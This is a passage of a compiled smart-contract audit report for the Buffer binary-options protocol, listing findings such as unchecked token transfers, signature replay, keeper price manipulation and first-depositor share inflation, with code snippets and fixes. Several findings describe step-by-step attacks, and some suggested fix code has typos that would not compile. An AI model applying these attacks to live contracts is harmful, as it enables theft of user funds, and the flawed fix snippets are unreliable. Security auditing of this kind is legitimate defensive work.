- The user can pass the option into the queue without sending fees.
Code Snippet
-
function initiateTrade( uint256 totalFee, uint256 period, bool isAbove, address targetContract, uint256 expectedStrike, uint256 slippage, bool allowPartialFill, string memory referralCode, uint256 traderNFTId ) external returns (uint256 queueId) { // Checks if the target contract has been registered require( contractRegistry[targetContract], "Router: Unauthorized contract" ); IBufferBinaryOptions optionsContract = IBufferBinaryOptions( targetContract ); optionsContract.runInitialChecks(slippage, period, totalFee); // Transfer the fee specified from the user to this contract. // User has to approve first inorder to execute this function IERC20(optionsContract.tokenX()).transferFrom( msg.sender, address(this), totalFee ); queueId = nextQueueId; nextQueueId++; QueuedTrade memory queuedTrade = QueuedTrade( queueId, userQueueCount(msg.sender), msg.sender, totalFee, period, isAbove, targetContract, expectedStrike, slippage, allowPartialFill, block.timestamp, true, referralCode, traderNFTId ); queuedTrades[queueId] = queuedTrade; userQueuedIds[msg.sender].push(queueId); emit InitiateTrade(msg.sender, queueId, block.timestamp); }
Tool used
- Manual Review
Recommendation
- Wrap transferFrom() around require statement to handle failures.
KingNFT - A suspicious keeper can set 'nextQueueIdToProcess' state variable to any value
KingNFT
medium
A suspicious keeper can set 'nextQueueIdToProcess' state variable to any value
Summary
There is no security check before changing 'nextQueueIdToProcess' state variable. A suspicious keeper can set it to any value, programs of other keepers working based the variable might be stuck.
Vulnerability Detail
A brief overview of 'resolveQueuedTrades()' function and the vulnerability.
function resolveQueuedTrades(OpenTradeParams[] calldata params) external {
_validateKeeper();
for (uint32 index = 0; index < params.length; index++) {
OpenTradeParams memory currentParams = params[index];
QueuedTrade memory queuedTrade = queuedTrades[
currentParams.queueId
];
//...
if (
!queuedTrade.isQueued ||
currentParams.timestamp != queuedTrade.queuedTime
) {
// @audit continue rather than revert while encountering invalid trade
continue;
}
// ...
}
// @audit take queueId from last array item, it could be any value
nextQueueIdToProcess = params[params.length - 1].queueId + 1;
}
Impact
The logic of keeper program working based on 'nextQueueIdToProcess' might look like this
while (true) {
nextId = router.nextQueueIdToProcess();
queuedTrade = router.queuedTrades(nextId);
if (queuedTrade.user != 0) {
// get queued trades, collect signatures from publisher, submit data to chain and get reward
} else {
sleepForAWhile();
}
}
A suspicious keeper can break the above program by always appending an invalid trade after valid trades.
Code Snippet
Tool used
Manual Review
Recommendation
function resolveQueuedTrades(OpenTradeParams[] calldata params) external {
// ...
require(params[params.length - 1].user != address(0), "invalid params"); // @fix check before changing
if (params[params.length - 1].queueId + 1 > nextQueueIdToProcess) { // @fix ensure increasing only
nextQueueIdToProcess = params[params.length - 1].queueId + 1;
}
}
Duplicate of #63
kaliberpoziomka - Keeper can resolve trade with prices from other trades
kaliberpoziomka
high
Keeper can resolve trade with prices from other trades
name: Audit item
about: These are the audit items that end up in the report
title: Keeper can resolve trade with prices from other trades
labels: High
assignees: kaliberpoziomka
Summary
Context: BufferRouter.sol
A malicious keeper can craft prams
argument (to the function BufferRouter.sol::resolveQueuedTrades(...)
) in such a way that the trade may be resolved with the price of the other trade initialized in the same block.
Vulnerability Detail
Provided argument params
is a list of objects OpenTradeParams
. The publisher
role provides those objects, signing them before. The signed data from OpenTradeParams
object is: timestamp
, asset
, and price
. However, the OpenTradeParams.queueId
is not included in the signed message. This allows the malicious keeper to provide the OpenTradeParams
object with queueId
not corresponding to the rest of the data (timestamp
, asset
, and price
), since it is not included in signed data.
After the signature verification the function resolveQueuedTrades(...)
checks if the provided timestamp and the timestamp of trade stored in queuedTrades
array under the queueId
match. Since creation time must much, malicious keeper may only provide wrong price from another trade that was created in the same block.
At the end the function _openQueuedTrade(...)
is called, with provided queueId
and price.
Note that the incorrect price must fit in the slippage range checked later.
Impact
A malicious keeper can resolve trades with prices that were not provided by the user, which may lead to executing trade not expected by the trade maker.
Code Snippet
function resolveQueuedTrades(OpenTradeParams[] calldata params) external {
_validateKeeper();
for (uint32 index = 0; index < params.length; index++) {
OpenTradeParams memory currentParams = params[index];
QueuedTrade memory queuedTrade = queuedTrades[
currentParams.queueId
];
bool isSignerVerifed = _validateSigner(
currentParams.timestamp,
currentParams.asset,
currentParams.price,
currentParams.signature
);
// Silently fail if the signature doesn't match
if (!isSignerVerifed) {
emit FailResolve(
currentParams.queueId,
"Router: Signature didn't match"
);
continue;
}
if (
!queuedTrade.isQueued ||
currentParams.timestamp != queuedTrade.queuedTime
) {
// Trade has already been opened or cancelled or the timestamp is wrong.
// So ignore this trade.
continue;
}
// If the opening time is much greater than the queue time then cancel the trade
if (block.timestamp - queuedTrade.queuedTime <= MAX_WAIT_TIME) {
_openQueuedTrade(currentParams.queueId, currentParams.price);
} else {
_cancelQueuedTrade(currentParams.queueId);
emit CancelTrade(
queuedTrade.user,
currentParams.queueId,
"Wait time too high"
);
}
// Track the next queueIndex to be processed for user
userNextQueueIndexToProcess[queuedTrade.user] =
queuedTrade.userQueueIndex +
1;
}
// Track the next queueIndex to be processed overall
nextQueueIdToProcess = params[params.length - 1].queueId + 1;
}
Tool used
Manual Review
Recommendation
Consider including the queueId
into the message digest signed by the publisher.
Duplicate of #85
gandu - Manipulation of LPTOKEN(Buffer LP Token) when totalSupply is zero can lead to implicit minimum deposit amount and loss of user funds due to rounding errors
gandu
unlabeled
Manipulation of LPTOKEN(Buffer LP Token) when totalSupply is zero can lead to implicit minimum deposit amount and loss of user funds due to rounding errors
Summary
- When totalSupply is zero an attacker goes ahead and executes the following steps
- 1.The attacker calls provide function of bufferBinnerPool Contract with 1 Wei underlying tokens(tokenX) to mint LPToken(BLP)
- 2.They will get 1wei of the underlying token amount of LPToken(BLP)
- 3.They transfer z underlying tokens directly to bufferBinnerPool contract address.
- This leads to 1 wei of LPToken(BLP) worth z (+ some small amount)- Attacker won't have any problem making this z as big as possible as they have all the claim to it as a holder of 1 Wei of LPToken(BLP)
Vulnerability Detail
- This attack has two implications
- 1.The first deposit can be front run and stolen
- Let's assume there is a first user trying to mint some LPToken(BLP) using their k*z underlying tokens
- An attacker can see this transaction and carry out the above-described attack making sure that k<1.
- This leads to the first depositor getting zero LPToken(BLP) for their k*z underlying tokens. All the tokens are redeemable by the attacker using their 1 wei of LPToken.
- 2.Implicit minimum Amount and funds lost due to rounding errors
- If an attacker is successful in making 1 wei of LPToken(BLP) worth z underlying tokens and a user tries to mint LPToken(BLP) using k* z underlying tokens then,
- If k<1, then the user gets zero LPToken(BLP) and all of their underlying tokens get proportionally divided between LPToken(BLP) holders
- This leads to an implicit minimum amount for a user at the attacker's discretion.
- If k>1, then users still get some LPToken(BLP) but they lose (k- floor(k)) * z) of underlying tokens which get proportionally divided between LPToken(BLP) holders due to rounding errors.
- If k<1, then the user gets zero LPToken(BLP) and all of their underlying tokens get proportionally divided between LPToken(BLP) holders
- This means that for users to not lose value, they have to make sure that k is an integer.
- If an attacker is successful in making 1 wei of LPToken(BLP) worth z underlying tokens and a user tries to mint LPToken(BLP) using k* z underlying tokens then,
- 1.The first deposit can be front run and stolen
Main Reason:
Calculating the totalTokenXBalance() variable using a balance(address(this)) while minting token, so the amount attacker will transfer is also calculated. And totalTokenXBalance() function is the denominator in the mint variable.
Maths:
here BalanceOF(address(this)) == X + 1Wei now mint token will be :
- amount/BalanceOF(address(this)
- = Y/(X+1wei) (here denominator is greater than numerator ) = 0.something
- = 0 (solidity round of math)
Impact
- this leads to the infinity amount of the user funds lost. also BufferBinaryPool contract is pool contract so that impecting other upcoming pool too.
Recommendation
I like how BalancerV2 and UniswapV2 do it. some minimum amount of pool tokens get burnt when the first mint happens.
supernova - Use Change in balance for accounting , to safeguard from Fee On Transfer Tokens
supernova
medium
Use Change in balance for accounting , to safeguard from Fee On Transfer Tokens
Summary
If tokenX
is FeeOnTransfer token, then it will lead to guaranteed exploit/MEV.
Vulnerability Detail
Some tokens have fee on Transfer enabled, and many can do so in future. Therefore, change in balance as a method of accounting is recommended due to such cases.
Impact
Less input , and more output . Leading to exploit
Code Snippet
Tool used
Manual Review
Recommendation
Use Change in balance as a form of accounting
Duplicate of #76
jonatascm - Misleading configuration could lead to DoS in `initiateTrade`
jonatascm
low
Misleading configuration could lead to DoS in initiateTrade
Summary
A misconfiguration of minPeriod
and maxPeriod
in the OptionsConfig contract can lead to DoS the initiateTrade
function.
Vulnerability Detail
If by mistake the owner of the OptionsConfig contract set a minPeriod
greater than maxPeriod
, all users will be unable to initiate a new trade
Impact
The users will be blocked for some time until the owner set the correct values of minPeriod
and maxPeriod
Code Snippet
function setMaxPeriod(uint32 value) external onlyOwner {
require(
value >= 1 minutes,
"MaxPeriod needs to be greater than 1 minutes"
);
maxPeriod = value;
emit UpdateMaxPeriod(value);
}
function setMinPeriod(uint32 value) external onlyOwner {
require(
value >= 1 minutes,
"MinPeriod needs to be greater than 1 minutes"
);
minPeriod = value;
emit UpdateMinPeriod(value);
}
Tool used
Manual Review
Recommendation
This issue can be fixed by checking if maxPeriod is greater than minPeriod, in each set period functions.
KingNFT - The 'initiateTrade()' function would not work for fee-on-transfer token
KingNFT
medium
The 'initiateTrade()' function would not work for fee-on-transfer token
Summary
The 'initiateTrade()' function doesn't check if the actual received token is equal to the value specified by user. While the token is a fee-on-transfer token, it would not work properly.
Vulnerability Detail
The overview of 'initiateTrade()' function and audit details
function initiateTrade(
uint256 totalFee,
// ...
) external returns (uint256 queueId) {
// ...
IERC20(optionsContract.tokenX()).transferFrom(
msg.sender,
address(this),
totalFee // @audit for fee-on-transfer token, the actual received token would be less than 'totalFee'
);
// ...
QueuedTrade memory queuedTrade = QueuedTrade(
queueId,
userQueueCount(msg.sender),
msg.sender,
totalFee, // @audit should replace with the actual received token
period,
isAbove,
targetContract,
expectedStrike,
slippage,
allowPartialFill,
block.timestamp,
true,
referralCode,
traderNFTId
);
// ...
}
Impact
The order would not be able to be cancelled due to no enough balance in router contract.
function _cancelQueuedTrade(uint256 queueId) internal {
// ...
queuedTrade.isQueued = false;
IERC20(optionsContract.tokenX()).transfer(
queuedTrade.user,
queuedTrade.totalFee // @audit the balance may be less than 'totalFee '
);
// ...
}
Code Snippet
Tool used
Manual Review
Recommendation
Use the actual received token for trade
function initiateTrade(
uint256 totalFee,
// ...
) external returns (uint256 queueId) {
// ...
uint256 balanceBefore = IERC20(optionsContract.tokenX()).balnaceOf(addres(this)); // @fix
IERC20(optionsContract.tokenX()).transferFrom(
msg.sender,
address(this),
totalFee
);
uint256 balanceAfter = IERC20(optionsContract.tokenX()).balnaceOf(addres(this)); // @fix
uint256 receivedToken = balanceAfter - balanceBefore; // @fix
// ...
QueuedTrade memory queuedTrade = QueuedTrade(
queueId,
userQueueCount(msg.sender),
msg.sender,
receivedToken, // @fix
period,
isAbove,
targetContract,
expectedStrike,
slippage,
allowPartialFill,
block.timestamp,
true,
referralCode,
traderNFTId
);
// ...
}
Duplicate of #76
peanuts - Unsafe usage of ERC20 .transfer
peanuts
medium
Unsafe usage of ERC20 .transfer
Summary
Some .transfer checks in the contract are not checked for success. In other words, transfer may fail but function will still continue to work.
Vulnerability Detail
Some .transfer functions used do not check for success.
Impact
Fees may not be transferred correctly into and out of the protocol, resulting in protocol / user losses
Code Snippet
Tool used
Manual Review
Recommendation
Use OpenZeppellin's safe transfer or check the validity of every transfer such as the one used in BufferBinaryPool.sol
bool success = tokenX.transfer(to, transferTokenXAmount);
require(success, "Pool: The Payout transfer didn't go through");
Duplicate of #73
peanuts - First index for optionId is wrongly assigned in createFromRouter()
peanuts
high
First index for optionId is wrongly assigned in createFromRouter()
Summary
Wrong callibration of optionId leads to router failing to write any option.
Vulnerability Detail
When a user creates an option using createFromRouter() in BufferBinaryOptions, the optionId is assigned. The optionId for the first option contract will be 1 because of the call to _generateTokenId() will increment the optionId by 1 immediately
function _generateTokenId() internal returns (uint256) {
return nextTokenId++;
}
The optionId is then passed as a param in createFromRouter() and used in the function lock. The lock function in BufferBinaryPool checks if id == lockedLiquidity[msg.sender].length, before pushing the struct LockedLiquidity(x,y,z) into the mapping lockedLiquidity. If no options have been written yet, the lockedLiquidity[msg.sender] length should be 0, but id will start with 1.
require(id == lockedLiquidity[msg.sender].length, "Pool: Wrong id");
Since 1 != 0, the require check fails and the function reverts.
Impact
No options can be created due to requirement check failure.
Code Snippet
Tool used
Manual Review, Remix IDE
Recommendation
Make sure the optionId and lockedLiquidity.length is the same for every user.
supernova - No helper function to change lockedPeriod in future.
supernova
medium
No helper function to change lockedPeriod in future.
Summary
There is no helper function to change the current lockedPeriod
of 10 minutes
to another value in the future.
Vulnerability Detail
No way to change locked Period in future. As the variable is not defined as constant, the admin must be wanting to change it in the future.
Impact
Restraining the protocol 's ability to change the locked Time is a handicap.
Code Snippet
Tool used
Manual Review
Recommendation
Add a helper function with Admin control , to allow changing the lockedPeriod , with certain timelock to allow users to decide whether to continue invest or not .
0xcc - Token transfers do not verify that the tokens were successfully transferred
0xcc
medium
Token transfers do not verify that the tokens were successfully transferred
Summary
Some ERC20 tokens don’t throw but just return false when a transfer fails.
Vulnerability Detail
Some tokens (like zrx) do not revert the transaction when the transfer/transferfrom fails and return false, which requires us to check the return value after calling the transfer/transferfrom function.
Impact
This can be abused to trick the initiateTrade() function to initialize the trade without providing any tokens.
Code Snippet
Tool used
Manual Review
Recommendation
Use SafeERC20’s safeTransfer/safeTransferFrom functions
Duplicate of #73
ctf_sec - BufferBinaryPool.sol#_beforeTokenTransfer does not handle address(to) == address(0) when burning the pool token.
ctf_sec
medium
BufferBinaryPool.sol#_beforeTokenTransfer does not handle address(to) == address(0) when burning the pool token.
Summary
BufferBinaryPool.sol#_beforeTokenTransfer does not handle address(to) == 0
Vulnerability Detail
When the token is transferred, the _beforeTokenTransfer hood is called. but the function does handle the case when address(to) == address(0)
function _beforeTokenTransfer(
address from,
address to,
uint256 value
) internal override {
if (!isHandler[from] && !isHandler[to] && from != address(0)) {
_updateLiquidity(from);
require(
liquidityPerUser[from].unlockedAmount >= value,
"Pool: Transfer of funds in lock in period is blocked"
);
liquidityPerUser[from].unlockedAmount -= value;
liquidityPerUser[to].unlockedAmount += value;
}
}
Impact
when the token is burned, the address(from) user lose the unlockedAmount and this unlockedAmount is falsely creditted to address(0)
Code Snippet
Tool used
Manual Review
Recommendation
We recommend the project handle the case when address(to) == address(0) when the pool token is burned.
function _beforeTokenTransfer(
address from,
address to,
uint256 value
) internal override {
if (!isHandler[from] && !isHandler[to] && from != address(0)) {
_updateLiquidity(from);
require(
liquidityPerUser[from].unlockedAmount >= value,
"Pool: Transfer of funds in lock in period is blocked"
);
liquidityPerUser[from].unlockedAmount -= value;
if(to != address(0) {
liquidityPerUser[to].unlockedAmount += value;
}
}
}
KingNFT - Calculation of 'rebate' parameter of 'UpdateReferral' event is not correct
KingNFT
medium
Calculation of 'rebate' parameter of 'UpdateReferral' event is not correct
Summary
Calculation of 'rebate' parameter of 'UpdateReferral' event is not correct.
Vulnerability Detail
Overview of related source code and audit
event UpdateReferral(
address referrer,
bool isReferralValid,
uint256 totalFee,
uint256 referrerFee,
uint256 rebate,
string referralCode
);
function _processReferralRebate(
address user,
uint256 totalFee,
uint256 amount,
string calldata referralCode,
bool isAbove,
bool isReferralValid
) internal returns (uint256 referrerFee) {
address referrer = referral.codeOwner(referralCode);
if (referrer != user && referrer != address(0)) {
referrerFee = ((totalFee *
referral.referrerTierDiscount(
referral.referrerTier(referrer)
)) / (1e4 * 1e3));
if (referrerFee > 0) {
tokenX.transfer(referrer, referrerFee);
(uint256 formerUnitFee, , ) = _fees(
10**decimals(),
_getbaseSettlementFeePercentage(isAbove)
);
emit UpdateReferral(
referrer,
isReferralValid,
totalFee,
referrerFee,
((formerUnitFee * amount) - totalFee), // @audit should be ((formerUnitFee * amount / 10**decimals()) - totalFee)
referralCode
);
}
}
}
The correct fomula is
rebate = ((formerUnitFee * amount / 10**decimals()) - totalFee)
Impact
dAPPs working based on the event would not work.
Code Snippet
Tool used
Manual Review
Recommendation
Replace with the correct fomula
rvierdiiev - Fee can be changed after trade was initiated
rvierdiiev
medium
Fee can be changed after trade was initiated
Summary
It's possible that between initiating a trade and creation option the fee will be changed by protocol. As result created trade with one fee can be executed with another fee.
Vulnerability Detail
BufferBinaryOptions.configure allows admin to change fees.
When user decides to initiate trade then he is supposing to pay fee at the moment of trade initiating.
But it's possible that during initiation trade and creating option by keeper the fee will be changed by admin. As result if fee was increased, user will get less reward then he expects in case of win.
Impact
User will pay more fees, however he expected to pay less.
Code Snippet
Tool used
Manual Review
Recommendation
User can provide new variable like maxFeeAgreed
to initiateTrade
function where he provides the expected fee amount and in case if this fee is bigger here then the trade should be canceled.
0x4non - Use `_safeMint()` instead of `_mint()`
0x4non
medium
Use _safeMint()
instead of _mint()
Summary
OpenZeppelin recommends the usage of _safeMint()
instead of _mint()
. If the recipient is a contract, safeMint()
checks whether they can handle ERC721 tokens.
Vulnerability Detail
_mint
will not check if the recipient knows how to handle the NFT. On the other hand, safeMint()
checks whether they can handle ERC721 tokens.
Impact
If you use _mint
and the contract recipient of the NFT its not prepared the NFT could be locked forever inside the contract.
Take in consideration that this might add a reentrancy issue, so add the nonReentrant
modifier. You are importing the ReentrancyGuard
but not using this modifier
Code Snippet
Tool used
Manual Review
Recommendation
Change BufferBinaryOptions.sol#L126 and please, take in consideration that this might add a reentrancy issue, so add the nonReentrant
modifier. You are importing the ReentrancyGuard
but not using this modifier
diff --git a/contracts/contracts/core/BufferBinaryOptions.sol b/contracts/contracts/core/BufferBinaryOptions.sol
index b93e6f0..efba433 100644
--- a/contracts/contracts/core/BufferBinaryOptions.sol
+++ b/contracts/contracts/core/BufferBinaryOptions.sol
@@ -107,7 +107,7 @@ contract BufferBinaryOptions is
function createFromRouter(
OptionParams calldata optionParams,
bool isReferralValid
- ) external override onlyRole(ROUTER_ROLE) returns (uint256 optionID) {
+ ) external override onlyRole(ROUTER_ROLE) nonReentrant() returns (uint256 optionID) {
Option memory option = Option(
State.Active,
optionParams.strike,
@@ -123,7 +123,7 @@ contract BufferBinaryOptions is
optionID = _generateTokenId();
userOptionIds[optionParams.user].push(optionID);
options[optionID] = option;
- _mint(optionParams.user, optionID);
+ _safeMint(optionParams.user, optionID);
uint256 referrerFee = _processReferralRebate(
optionParams.user,
rvierdiiev - BufferBinaryOptions.createFromRouter is not checking for pause
rvierdiiev
medium
BufferBinaryOptions.createFromRouter is not checking for pause
Summary
Because BufferBinaryOptions.createFromRouter
is not checking for pause it's still possible to create new option after BufferBinaryOptions contract was paused.
Vulnerability Detail
Function BufferBinaryOptions.toggleCreation is created for pausing/unpausing contract.
When contract is paused that means that no new options should be created.
In BufferBinaryOptions.runInitialChecks there is check if contract is paused. If it is, then you can't initiateTrade.
https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryOptions.sol#L275-L285
function runInitialChecks(
uint256 slippage,
uint256 period,
uint256 totalFee
) external view override {
require(!isPaused, "O33");
require(slippage <= 5e2, "O34"); // 5% is the max slippage a user can use
require(period >= config.minPeriod(), "O21");
require(period <= config.maxPeriod(), "O25");
require(totalFee >= config.minFee(), "O35");
}
BufferBinaryOptions.runInitialChecks is called by BufferRouter.initiateTrade. That means that if BufferBinaryOptions is paused then user can't initiate new trade.
But still there is a chance to create option when BufferBinaryOptions already paused.
Consider example.
1.User call BufferRouter.initiateTrade and queues his trade.
2.BufferBinaryOptions is paused.
3.BufferRouter.resolveQueuedTrades is called by keeper.
4.Because no more checks for pausing, option is created.
Impact
There is possibility to create option even if BufferBinaryOptions is paused
Code Snippet
Provided above
Tool used
Manual Review
Recommendation
Add pause check also to BufferBinaryOptions.createFromRouter
function or to BufferBinaryOptions.isStrikeValid
function.
ctf_sec - Nonce is missing: publisher's signature can be reused.
ctf_sec
medium
Nonce is missing: publisher's signature can be reused.
Summary
Nonce is missing: publisher's signature can be reused.
Vulnerability Detail
In BufferRouter.sol, after the a trade is queued, the keeper needs to call resolveQueueTrades.sol
The first step is validate the signer's signature.
bool isSignerVerifed = _validateSigner(
currentParams.timestamp,
currentParams.asset,
currentParams.price,
currentParams.signature
);
// Silently fail if the signature doesn't match
if (!isSignerVerifed) {
emit FailResolve(
currentParams.queueId,
"Router: Signature didn't match"
);
continue;
}
which calls:
function _validateSigner(
uint256 timestamp,
address asset,
uint256 price,
bytes memory signature
) internal view returns (bool) {
bytes32 digest = ECDSA.toEthSignedMessageHash(
keccak256(abi.encodePacked(timestamp, asset, price))
);
address recoveredSigner = ECDSA.recover(digest, signature);
return recoveredSigner == publisher;
}
We see that the nonce is missing when generating the signature. Another user can copy the signature generated by the publisher and reuse the signature to queue another trade.
same issue exists when unlockOptions is called by keeper when we are validating the signature.
(, , , , , uint256 expiration, , , ) = optionsContract.options(
params.optionId
);
bool isSignerVerifed = _validateSigner(
params.expiryTimestamp,
params.asset,
params.priceAtExpiry,
params.signature
);
Impact
publisher's and keeper's signatures can be reused to launch a signature replay attack.
Code Snippet
Tool used
Manual Review
Recommendation
We recommend the project add nonce to signature schema and increment the nonce each time to prevent signature replay.
m_Rassska - Unchecked return value for transferFrom() call
m_Rassska
unlabeled
Unchecked return value for transferFrom() call
Summary
- Unchecked return value for transferFrom() call
Vulnerability Detail
- In BufferRouter.sol there is a function initiateTrader() for option creation purposes. During the execution the optionsContract.tokenX() supposed to receive some fees, however the transferFrom() for some tokens returns bool instead of reverting. Since the returned value is not checked, this lead to undesired behavior.
Impact
- The user can pass the option into the queue without sending fees.
Code Snippet
-
function initiateTrade( uint256 totalFee, uint256 period, bool isAbove, address targetContract, uint256 expectedStrike, uint256 slippage, bool allowPartialFill, string memory referralCode, uint256 traderNFTId ) external returns (uint256 queueId) { // Checks if the target contract has been registered require( contractRegistry[targetContract], "Router: Unauthorized contract" ); IBufferBinaryOptions optionsContract = IBufferBinaryOptions( targetContract ); optionsContract.runInitialChecks(slippage, period, totalFee); // Transfer the fee specified from the user to this contract. // User has to approve first inorder to execute this function IERC20(optionsContract.tokenX()).transferFrom( msg.sender, address(this), totalFee ); queueId = nextQueueId; nextQueueId++; QueuedTrade memory queuedTrade = QueuedTrade( queueId, userQueueCount(msg.sender), msg.sender, totalFee, period, isAbove, targetContract, expectedStrike, slippage, allowPartialFill, block.timestamp, true, referralCode, traderNFTId ); queuedTrades[queueId] = queuedTrade; userQueuedIds[msg.sender].push(queueId); emit InitiateTrade(msg.sender, queueId, block.timestamp); }
Tool used
- Manual Review
Recommendation
- Wrap transferFrom() around require statement to handle failures.
sorrynotsorry - ERC165 interface compatibility check bug
sorrynotsorry
high
ERC165 interface compatibility check bug
Summary
The codebase uses [email protected] package which has ERC165 interface compatibility check bug.
Vulnerability Detail
ERC165Checker is a library used to query support of an interface declared via IERC165
.
ERC165Checker.supportsInterface
which is under is designed to always successfully return a boolean, and under no circumstance revert. However, an incorrect assumption about Solidity 0.8's abi.decode allows some cases to revert, given a target contract that doesn't implement EIP-165 as expected, specifically if it returns a value other than 0 or 1.
Impact
ERC165 interface check may revert instead of returning false.
The contracts that may be affected are those that use ERC165Checker to check for support for an interface and then handle the lack of support in a way other than reverting.
Code Snippet
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, AccessControl)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
Tool used
Manual Review
Recommendation
Upgrade @openzeppelin/contracts to version 4.7.1 or higher.
Duplicate of #129
ctf_sec - TokenX fee can be locked in BufferRouter.sol if trade processing fail sliently.
ctf_sec
medium
TokenX fee can be locked in BufferRouter.sol if trade processing fail sliently.
Summary
TokenX fee can be locked in BufferRouter.sol if trade processing fail sliently.
Vulnerability Detail
When a trade is queued, We are calling:
optionsContract.runInitialChecks(slippage, period, totalFee);
// Transfer the fee specified from the user to this contract.
// User has to approve first inorder to execute this function
IERC20(optionsContract.tokenX()).transferFrom(
msg.sender,
address(this),
totalFee
);
totalFee cannot be 0 because the optionsContract.runInitialChecks(slippage, period, totalFee) did the sanity check:
/**
* @notice Runs the basic checks for option creation
*/
function runInitialChecks(
uint256 slippage,
uint256 period,
uint256 totalFee
) external view override {
require(!isPaused, "O33");
require(slippage <= 5e2, "O34"); // 5% is the max slippage a user can use
require(period >= config.minPeriod(), "O21");
require(period <= config.maxPeriod(), "O25");
require(totalFee >= config.minFee(), "O35");
}
let us just assume that the tokenX used is USDC, has 6 decimals, and the totalFee is set to 1e6 in OptionConfig.
uint256 public override minFee = 1e6; // set
every time user queue a trade, a 1e6 amount of USDC will be transferred into the BufferRouter.sol
In normal case, when trade is canceled, this fee is refunded.
_cancelQueuedTrade(queueId);
which calls:
function _cancelQueuedTrade(uint256 queueId) internal {
QueuedTrade storage queuedTrade = queuedTrades[queueId];
IBufferBinaryOptions optionsContract = IBufferBinaryOptions(
queuedTrade.targetContract
);
queuedTrade.isQueued = false;
IERC20(optionsContract.tokenX()).transfer(
queuedTrade.user,
queuedTrade.totalFee
);
userCancelledQueuedIds[queuedTrade.user].push(queueId);
}
However, there is a one case that the fee will not be refunded and the fee will be locked in the BufferRouter.sol.
/**
* @notice Verifies the trade parameter via the signature and resolves all the valid queued trades
*/
function resolveQueuedTrades(OpenTradeParams[] calldata params) external {
_validateKeeper();
for (uint32 index = 0; index < params.length; index++) {
OpenTradeParams memory currentParams = params[index];
QueuedTrade memory queuedTrade = queuedTrades[
currentParams.queueId
];
bool isSignerVerifed = _validateSigner(
currentParams.timestamp,
currentParams.asset,
currentParams.price,
currentParams.signature
);
// Silently fail if the signature doesn't match
if (!isSignerVerifed) {
emit FailResolve(
currentParams.queueId,
"Router: Signature didn't match"
);
continue;
}
if the signature is invalid, the queue trades fails sliently. There will be no refund in the fee, fee is locked in the Router contract given that the BufferRouter is not upgradeable
and there is no rescueToken related function to sweep the dust token.
Impact
TokenX fee can be locked in Router contract.
Code Snippet
Tool used
Manual Review
Recommendation
We recommend the project transfer the fee out to admin address or refund the fee will the signature has issue to not let the trade processing fails sliently and get the fee locked in the contract.
rvierdiiev - lack of input validation in OptionsConfig
rvierdiiev
medium
lack of input validation in OptionsConfig
Summary
OptionsConfig doesn't validate some provided variable which can lead to incorrect work of protocol
Vulnerability Detail
Both setMaxPeriod
and setMinPeriod
functions is OptionsConfig do not check that after variable is set OptionsConfig.maxPeriod >= OptionsConfig.minPeriod
.
In case if incorrect values are set then no trader will be possible to initiate new trade, because of check in BufferBinaryOptions contract.
Both OptionsConfig.setAssetUtilizationLimit and setOverallPoolUtilizationLimit doesn't check the value to be greater than 0.
Because of that BufferBinaryOptions.getMaxUtilization function will revert and it will not be possible to create new option.
Impact
Not possible to initiate new trades and create option.
Code Snippet
https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/OptionsConfig.sol#L67-L83
https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/OptionsConfig.sol#L55-L65
Tool used
Manual Review
Recommendation
Check that OptionsConfig.maxPeriod >= OptionsConfig.minPeriod after variable set. Check that overallPoolUtilizationLimit
and assetUtilizationLimit
are greater than 0.
KingNFT - Price manipulation attack on 'resolveQueuedTrades()' of BufferRouter.sol
KingNFT
high
Price manipulation attack on 'resolveQueuedTrades()' of BufferRouter.sol
Summary
The 'resolveQueuedTrades()' function miss check for
queuedTrade.targetContract == currentParams.asset
A suspicious keeper can exploit it to manipulate strike price and always win the option.
https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L136
Vulnerability Detail
Let's say there are two option contracts
Obtc = BufferBinaryOptions(BTC-USD pair)
Oeth = BufferBinaryOptions(ETH-USD pair)
And the market prices are
Pbtc = 16000 USD
Peth = 1200 USD
We can initiate a trade like this
QueuedTrade (
// ...
queueId = 1000;
timestamp = 1234;
// key parameters
isAbove = false;
targetContract = Oeth ;
expectedStrike = 16000 USD;
// ..
)
And call 'resolveQueuedTrades()' with
OpenTradeParams (
queueId = 1000;
timestamp = 1234;
asset = Obtc;
price = 16000 USD;
signature = 0x****;
)
As the current implementation only check 'price' but miss 'asset', the order can be successfully opened.
At last, 'unlockOptions()' with correct ETH price 1200 USD, attacker can almost 100% win the option.
Impact
Attacker can exploit the vulnerability to drain out funds from option pool.
Code Snippet
function resolveQueuedTrades(OpenTradeParams[] calldata params) external {
_validateKeeper();
for (uint32 index = 0; index < params.length; index++) {
OpenTradeParams memory currentParams = params[index];
QueuedTrade memory queuedTrade = queuedTrades[
currentParams.queueId
];
bool isSignerVerifed = _validateSigner(
currentParams.timestamp,
currentParams.asset,
currentParams.price,
currentParams.signature
);
// Silently fail if the signature doesn't match
if (!isSignerVerifed) {
emit FailResolve(
currentParams.queueId,
"Router: Signature didn't match"
);
continue;
}
if (
!queuedTrade.isQueued ||
currentParams.timestamp != queuedTrade.queuedTime
) {
// Trade has already been opened or cancelled or the timestamp is wrong.
// So ignore this trade.
continue;
}
// If the opening time is much greater than the queue time then cancel the trade
if (block.timestamp - queuedTrade.queuedTime <= MAX_WAIT_TIME) {
_openQueuedTrade(currentParams.queueId, currentParams.price);
} else {
_cancelQueuedTrade(currentParams.queueId);
emit CancelTrade(
queuedTrade.user,
currentParams.queueId,
"Wait time too high"
);
}
// Track the next queueIndex to be processed for user
userNextQueueIndexToProcess[queuedTrade.user] =
queuedTrade.userQueueIndex +
1; // @audit ???
}
// Track the next queueIndex to be processed overall
nextQueueIdToProcess = params[params.length - 1].queueId + 1;
}
Tool used
Manual Review
Recommendation
function resolveQueuedTrades(OpenTradeParams[] calldata params) external {
_validateKeeper();
for (uint32 index = 0; index < params.length; index++) {
OpenTradeParams memory currentParams = params[index];
QueuedTrade memory queuedTrade = queuedTrades[
currentParams.queueId
];
// ...
if (queuedTrade.targetContract != currentParams.asset) {
continue;
}
// ...
}
// ...
}
Duplicate of #85
rvierdiiev - Share price manipulation is possible for first depositor of BufferBinaryPool
rvierdiiev
high
Share price manipulation is possible for first depositor of BufferBinaryPool
Summary
